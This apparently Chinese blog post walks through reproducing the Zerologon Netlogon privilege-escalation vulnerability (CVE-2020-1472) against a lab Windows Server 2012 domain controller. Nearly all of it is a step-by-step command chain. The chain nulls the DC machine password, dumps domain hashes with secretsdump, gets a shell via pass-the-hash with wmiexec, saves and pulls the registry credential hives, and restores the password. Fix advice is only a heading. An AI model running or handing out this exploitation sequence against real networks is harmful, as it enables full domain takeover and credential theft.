CVE 2020-1472 Netlogon 特权提升漏洞

    科技2024-06-27  64

    1.复现环境

    DC: os:windows 2012 server ip:192.168.236.132

    攻击机: os:kali ip:192.168.236.130

    2.影响版本

    Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation)

    3.域控环境搭建参考文章

    4.复现过程

    4.1 漏洞验证

    POC链接

    4.2 漏洞利用

    安装最新的Impacket,否则会报错

    4.2.1 下载攻击exp

    EXP下载

    4.2.2 置空密码

    python3 cve-2020-1472-exploit.py WIN-F6STUQIU7D8 192.168.236.132

    4.2.3 获取hash

    进入到impacket/examples

    python3 secretsdump.py DOMAIN/WIN-F6STUQIU7D8\$@192.168.236.132 -just-dc -no-pass

    4.2.4 获取shell

    python3 wmiexec.py -hashes <HASH> DOMAIN/administrator\@IP

    4.2.5 获取原hash

    reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save get system.save get sam.save get security.save del /f system.save del /f sam.save del /f security.save exit

    4.2.6 解析hash

    保存$MACHINE.ACC部分:XXXXXXXXXXXXXX:XXXXXXX

    python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

    4.2.7 恢复hash

    恢复链接 也可以直接 git clone https://github.com/risksense/zerologon

    python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR <ORI_HASH>

    4.2.8 验证是否恢复

    使用获取hash的命令来验证是否恢复

    python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -just-dc -no-pass

    5.修复建议

    修复建议

    Processed: 0.015, SQL: 8